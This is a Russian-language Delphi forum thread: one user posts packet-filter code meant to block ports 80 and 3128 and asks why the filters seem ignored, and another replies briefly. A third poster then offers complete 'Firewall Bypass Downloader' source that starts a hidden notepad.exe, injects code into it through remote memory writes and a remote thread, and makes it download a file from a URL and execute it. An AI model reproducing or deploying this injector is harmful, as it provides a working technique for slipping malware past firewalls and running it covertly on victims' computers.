firewall на Delphi

ikot

Турист
Помогите создать firewall на Delphi. Использовал идею из книги Фленова "Delphi в шутку и всерьез" с использованием интерфейсов и фильтров, но оно делает что-то не то. Если при создании интерфейса использовать вместо параметра PF_ACTION_FORWARD параметр PF_ACTION_DROP, то блокируется вообще все, даже сетевые диски. А нужно заблокировать только 80 порт, т.е. доступ в Интернет и порт с номером 3128. Такое ощущение, что фильтры, которые добавляются к интерфейсу после его создания вообще игнорируются.

Код:
Code:
unit MainUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, fltdefs, winsock, StdCtrls;

type
  PIpBytes       =  ^TIpBytes;
  TIpBytes       =  Array [0..3] of Byte;

type
  TFirewallForm = class(TForm)
    btStartFilter: TButton;
    btStopFilter: TButton;
    procedure btStartFilterClick(Sender: TObject);
    procedure btStopFilterClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    hIF : INTERFACE_HANDLE;
    ipLocal : TIpBytes;
    function StrToIp(lpszIP: PChar; lpipAddr: PIpBytes): PIpBytes;
    function GetLocalIPAddr(lpipAddr: PIpBytes): Boolean;
    procedure AddFilter(inP: Boolean; lpszRemote: PChar; protoType: DWORD; lpszPort: PChar);
  end;

var
  FirewallForm: TFirewallForm;

implementation

{$R *.dfm}

function TFirewallForm.StrToIp(lpszIP: PChar; lpipAddr: PIpBytes): PIpBytes;
var
 lpszStr : Array [0..63] of Char;
 dwPos : Integer;
 lpPos : PChar;
begin
 StrLCopy(@lpszStr, lpszIP, SizeOf(lpszStr));
 lpszStr[Pred(SizeOf(lpszStr))]:=#0;

 ZeroMemory(lpipAddr, SizeOf(TIpBytes));

 dwPos:=Pred(SizeOf(TIpBytes));
 lpPos:=StrRScan(lpszStr, '.');
 while Assigned(lpPos) do
  begin
   lpPos^:=#0;
   Inc(lpPos);
   lpipAddr^[dwPos]:=StrToIntDef(lpPos, 0);
   Dec(dwPos);

   if (dwPos = 0) then
    break;

   lpPos:=StrRScan(lpszStr, '.');
  end;
 lpipAddr^[dwPos]:=StrToIntDef(lpszStr, 0);

 result:=lpipAddr;
end;

function TFirewallForm.GetLocalIPAddr(lpipAddr: PIpBytes): Boolean;
var
 lpszLocal:  Array [0..255] of Char;
 pheAddr:    PHostEnt;
begin
 if (gethostname(lpszLocal, SizeOf(lpszLocal)) = 0) then
  begin
   pheAddr:=gethostbyname(lpszLocal);
   if Assigned(pheAddr) then
    begin
     Move(pheAddr^.h_addr_list^^, lpipAddr^, 4);
     result:=True;
    end
   else
    result:=False;
  end
 else
  result:=False;
end;

procedure TFirewallForm.AddFilter(inP: Boolean;
  lpszRemote: PChar; protoType: DWORD; lpszPort: PChar);
var
 ipFlt : PF_FILTER_DESCRIPTOR;
 dwPort : Integer;
 ipDest : TIpBytes;
 ipSrcMask : TIpBytes;
 ipDstMask :TIpBytes;
begin
 ZeroMemory(@ipFlt, SizeOf(ipFlt));

 ipFlt.dwFilterFlags:=FD_FLAGS_NOSYN;
 ipFlt.dwRule:=0;
 ipFlt.pfatType:=PF_IPV4;
 ipFlt.fLateBound:=0;

 ipFlt.dwProtocol:=protoType;

 if Assigned(lpszPort) then
  dwPort:=StrToIntDef(lpszPort, FILTER_TCPUDP_PORT_ANY)
 else
  dwPort:=FILTER_TCPUDP_PORT_ANY;

 if inP then
  begin
   ipFlt.wDstPort:=FILTER_TCPUDP_PORT_ANY;
   ipFlt.wDstPortHighRange:=FILTER_TCPUDP_PORT_ANY;
   ipFlt.wSrcPort:=dwPort;
   ipFlt.wSrcPortHighRange:=dwPort;
  end
 else
  begin
   ipFlt.wDstPort:=dwPort;
   ipFlt.wDstPortHighRange:=dwPort;
   ipFlt.wSrcPort:=FILTER_TCPUDP_PORT_ANY;
   ipFlt.wSrcPortHighRange:=FILTER_TCPUDP_PORT_ANY;
  end;

 StrToIP('255.255.255.0', @ipSrcMask);
 StrToIP('255.255.255.0', @ipDstMask);

 if inP then
  begin
   if Assigned(lpszRemote) then
    begin
     ipFlt.SrcAddr:=PByteArray(StrToIp(lpszRemote, @ipDest));
     ipFlt.SrcMask:=@ipSrcMask;
    end
   else
    begin
     ipFlt.SrcAddr:=PByteArray(StrToIp('0.0.0.0', @ipDest));
     StrToIP('0.0.0.0', @ipSrcMask);
     ipFlt.SrcMask:=@ipSrcMask;
    end;
   ipFlt.DstAddr:=@ipLocal;
   ipFlt.DstMask:=@ipDstMask;
   PfAddFiltersToInterface(hIF, 1, @ipFlt, 0, nil, nil);
  end
 else
  begin
   ipFlt.SrcAddr:=@ipLocal;
   ipFlt.SrcMask:=@ipSrcMask;
   if Assigned(lpszRemote) then
    begin
     ipFlt.DstAddr:=PByteArray(StrToIp(lpszRemote, @ipDest));
     ipFlt.DstMask:=@ipDstMask;
    end
   else
    begin
     ipFlt.DstAddr:=PByteArray(StrToIp('0.0.0.0', @ipDest));
     StrToIP('0.0.0.0', @ipDstMask);
     ipFlt.DstMask:=@ipDstMask;
    end;
   PfAddFiltersToInterface(hIF, 0, nil, 1, @ipFlt, nil);
 end;
end;


procedure TFirewallForm.btStartFilterClick(Sender: TObject);
var
 wsaData:       TWSAData;
begin
 if (WSAStartup(MakeWord(1, 1), wsaData) <> 0) then
  begin
   ShowMessage('Ошибка Winsock');
   exit;
  end;

 if not GetLocalIPAddr(@ipLocal) then
  exit;

 //Создание интерфейса
 PfCreateInterface(0, PF_ACTION_FORWARD, PF_ACTION_FORWARD, False, True, hIF);

 //AddFilter(false, '192.168.0.100', FILTER_PROTO_ANY, '80');
 Добавление нескольких фильтров
 AddFilter(true, '192.168.0.100', FILTER_PROTO_TCP, nil);
 AddFilter(true, '192.168.0.100', FILTER_PROTO_TCP, '21');
 AddFilter(false, '192.168.0.100', FILTER_PROTO_ANY, '7');
 AddFilter(true, '192.168.0.100', FILTER_PROTO_UDP, '1024');

 // Блокировка любых исходящих обращений к 80-му порту
 AddFilter(false, nil, FILTER_PROTO_TCP, '80');
 
 // Привязать интерфейс к локальному адресу
 PfBindInterfaceToIPAddress(hIF, PF_IPV4, @ipLocal);

 btStopFilter.Enabled:=true;
end;

procedure TFirewallForm.btStopFilterClick(Sender: TObject);
begin
 PfUnBindInterface(hIF);
 PfDeleteInterface(hIF);

 WSACleanup;
 btStopFilter.Enabled:=false;
end;

end.
 

ikot

Турист
Неправильно сказал. Не создать firewall, а заблокировать определенный порт.
 

DenSame

Турист
Неправильно сказал. Не создать firewall, а заблокировать определенный порт.
Исходящий или входящий? Если входящий-всё просто: повесь Апач на 80 порт-он и займется. А если исходящий-то непонятно, зачем тебе это нужно. Клиентские соединения с сервером HTTP идут не по 80 порту.
 

solover

Турист
Firewall Bypass Downloader

Code:
program Downloader;
uses
Windows;
type
TRemoteStruct = packed record
//Strings
szUrlMon,
szUrlDownloadToFileA,
szSourceFile,
szDestFile,
szShell32,
szShellExecuteA,
szOpen :PChar;
//Own Functions
PMyUrlDownloadToFileA,
PMyShellExecuteA :Pointer;
//Required API
ExtGetProcAddress : function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
ExtLoadLibraryA : function(lpModuleName: PChar): HMODULE; stdcall;
ExtExitProcess : procedure(uExitCode: UINT); stdcall;
//Used API
ExtURLDownloadToFileA : function(Caller: Pointer; URL: PAnsiChar; FileName: PAnsiChar; Reserved: DWORD; StatusCB: Pointer): HResult; stdcall;
ExtShellExecuteA : function(hWnd: HWND; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): HINST; stdcall;
end;
PRemoteStruct = ^TRemoteStruct;
TCreateProcessA = function (lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfoA; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
TVirtualAllocEx = function (hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
TVirtualProtectEx = function (hProcess: THandle; lpAddress: Pointer; dwSize, flNewProtect: DWORD; var OldProtect: DWORD): BOOL; stdcall;
TWriteProcessMemory = function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
TCreateRemoteThread = function (hProcess: THandle; lpThreadAttributes: Pointer; dwStackSize: DWORD; lpStartAddress: TFNThreadStartRoutine; lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall;
TResumeThread = function (hThread: THandle): DWORD; stdcall;
var
xCreateProcessA : TCreateProcessA;
xVirtualAllocEx : TVirtualAllocEx;
xVirtualProtectEx : TVirtualProtectEx;
xWriteProcessMemory : TWriteProcessMemory;
xCreateRemoteThread : TCreateRemoteThread;
xResumeThread : TResumeThread;
procedure MainFunction(RemoteStruct: PRemoteStruct); stdcall;
var
MyUrlDownloadToFileA : function(RemoteStruct: PRemoteStruct): Integer; stdcall;
MyShellExecuteA : function(RemoteStruct: PRemoteStruct): Integer; stdcall;
hUrlmon, hShell32 : hModule;
begin
with RemoteStruct^ do
begin
hUrlmon := ExtLoadLibraryA(szUrlMon);
@ExtURLDownloadToFileA := ExtGetProcAddress(hUrlMon, szUrlDownloadtoFileA);
@MyURLDownloadToFileA := PMyURLDownloadToFileA;
MyURLDownloadToFileA(RemoteStruct);
hShell32 := ExtLoadLibraryA(szShell32);
@ExtShellExecuteA := ExtGetProcAddress(hShell32, szShellExecuteA);
@MyShellExecuteA := PMyShellExecuteA;
MyShellExecuteA(RemoteStruct);
ExtExitProcess(0);
end;
end;
procedure MainFunctionEnd(); stdcall; begin end;
function MyUrlDownloadToFileA(RemoteStruct: PRemoteStruct): Integer; stdcall;
begin
with RemoteStruct^ do
begin
Result := ExtUrlDownLoadToFileA(nil, szSourceFile, szDestFile, 0, nil);
end;
end;
procedure MyUrlDownloadToFileAEnd(); stdcall; begin end;
function MyShellExecuteA(RemoteStruct: PRemoteStruct): Integer; stdcall;
begin
with RemoteStruct^ do
begin
Result := ExtShellExecuteA(0, szOpen, szDestFile, nil, nil, 1) ;
end;
end;
procedure MyShellExecuteAEnd(); stdcall; begin end;
function Inject(hProcess: longword; pData: pointer; dSize: DWORD): pointer;
var
dBytesWritten ,
dOldProtect :DWORD;
begin
Result := xVirtualAllocEx(hProcess, nil, dSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
xVirtualProtectEx(hProcess, Result, dSize, PAGE_EXECUTE_READWRITE, dOldProtect);
if Result <> nil then begin
if not xWriteProcessMemory(hProcess, Result, pData, dSize, dBytesWritten) then begin
Result := nil;
end;
end;
end;
procedure Main;
var
SI :TStartupInfo;
PI :TProcessInformation;
RemoteStruct :TRemoteStruct;
PPRemoteStruct,
PMainFunction :Pointer;
TID :DWORD;
const
strUrlmon :pchar = 'urlmon.dll';
strUrlDownloadToFilea :pchar = 'URLDownloadToFileA';
strSourceFile :pansichar = 'http://www.google.co.za/intl/en_com/images/srpr/logo1w.png';
strDestFile :pansichar = 'C:\GoogleLogo.png';
strShell32 :pchar = 'shell32.dll';
strShellExecuteA :pchar = 'ShellExecuteA';
stropen :pchar = 'open';
begin
ZeroMemory(@SI, SizeOf(TStartupInfo));
ZeroMemory(@PI, SizeOf(TProcessInformation));
with SI do
begin
cb := SizeOf(TStartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_HIDE;
end;
xCreateProcessA(nil, 'notepad.exe', nil, nil, False, 0, nil, nil, SI, PI);
Sleep(2000);
@RemoteStruct.ExtGetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'), 'GetProcAddress');
@RemoteStruct.ExtLoadLibraryA := GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');
@RemoteStruct.ExtExitProcess := GetProcAddress(GetModuleHandle('kernel32.dll'), 'ExitProcess');
RemoteStruct.szUrlmon := Inject(PI.hProcess, strUrlmon, Length(strUrlmon) + 1);
RemoteStruct.szUrlDownloadToFileA := Inject(PI.hProcess, strUrlDownloadToFileA, Length(strUrlDownloadToFileA) + 1);
RemoteStruct.szSourceFile := Inject(PI.hProcess, strSourceFile, Length(strSourceFile) + 1);
RemoteStruct.szDestFile := Inject(PI.hProcess, strDestFile, Length(strDestFile) + 1);
RemoteStruct.szShell32 := Inject(PI.hProcess, strShell32, Length(strShell32) + 1);
RemoteStruct.szShellExecuteA := Inject(PI.hProcess, strShellExecuteA, Length(strShellExecuteA) + 1);
RemoteStruct.szOpen := Inject(PI.hProcess, strOpen, Length(strOpen) + 1);
PMainFunction := Inject(PI.hProcess, @MainFunction, DWORD(@MainFunctionEnd) - DWORD(@MainFunction));
RemoteStruct.PMyUrlDownloadToFileA := Inject(PI.hProcess, @MyUrlDownloadToFileA, DWORD(@MyUrlDownloadToFileAEnd) - DWORD(@MyUrlDownloadToFileA));
RemoteStruct.PMyShellExecuteA := Inject(PI.hProcess, @MyShellExecuteA, DWORD(@MyShellExecuteAEnd) - DWORD(@MyShellExecuteA));
PPRemoteStruct := Inject(PI.hProcess, @RemoteStruct, SizeOf(TRemoteStruct));
if (PMainFunction <> nil) and
(RemoteStruct.PMyUrlDownloadToFileA <> nil) and
(RemoteStruct.PMyShellExecuteA <> nil) and
(PPRemoteStruct <> nil) then begin
xCreateRemoteThread(PI.hProcess, nil, 0, PMainFunction, PPRemoteStruct, 0, TID);
end;
xResumeThread(PI.hThread);
end;
begin
xCreateProcessA := GetProcAddress(GetModuleHandle('kernel32.dll'), 'CreateProcessA');
xVirtualAllocEx := GetProcAddress(GetModuleHandle('kernel32.dll'), 'VirtualAllocEx');
xVirtualProtectEx := GetProcAddress(GetModuleHandle('kernel32.dll'), 'VirtualProtectEx');
xWriteProcessMemory := GetProcAddress(GetModuleHandle('kernel32.dll'), 'WriteProcessMemory');
xCreateRemoteThread := GetProcAddress(GetModuleHandle('kernel32.dll'), 'CreateRemoteThread');
xResumeThread := GetProcAddress(GetModuleHandle('kernel32.dll'), 'ResumeThread');
Main;
end.
 
Top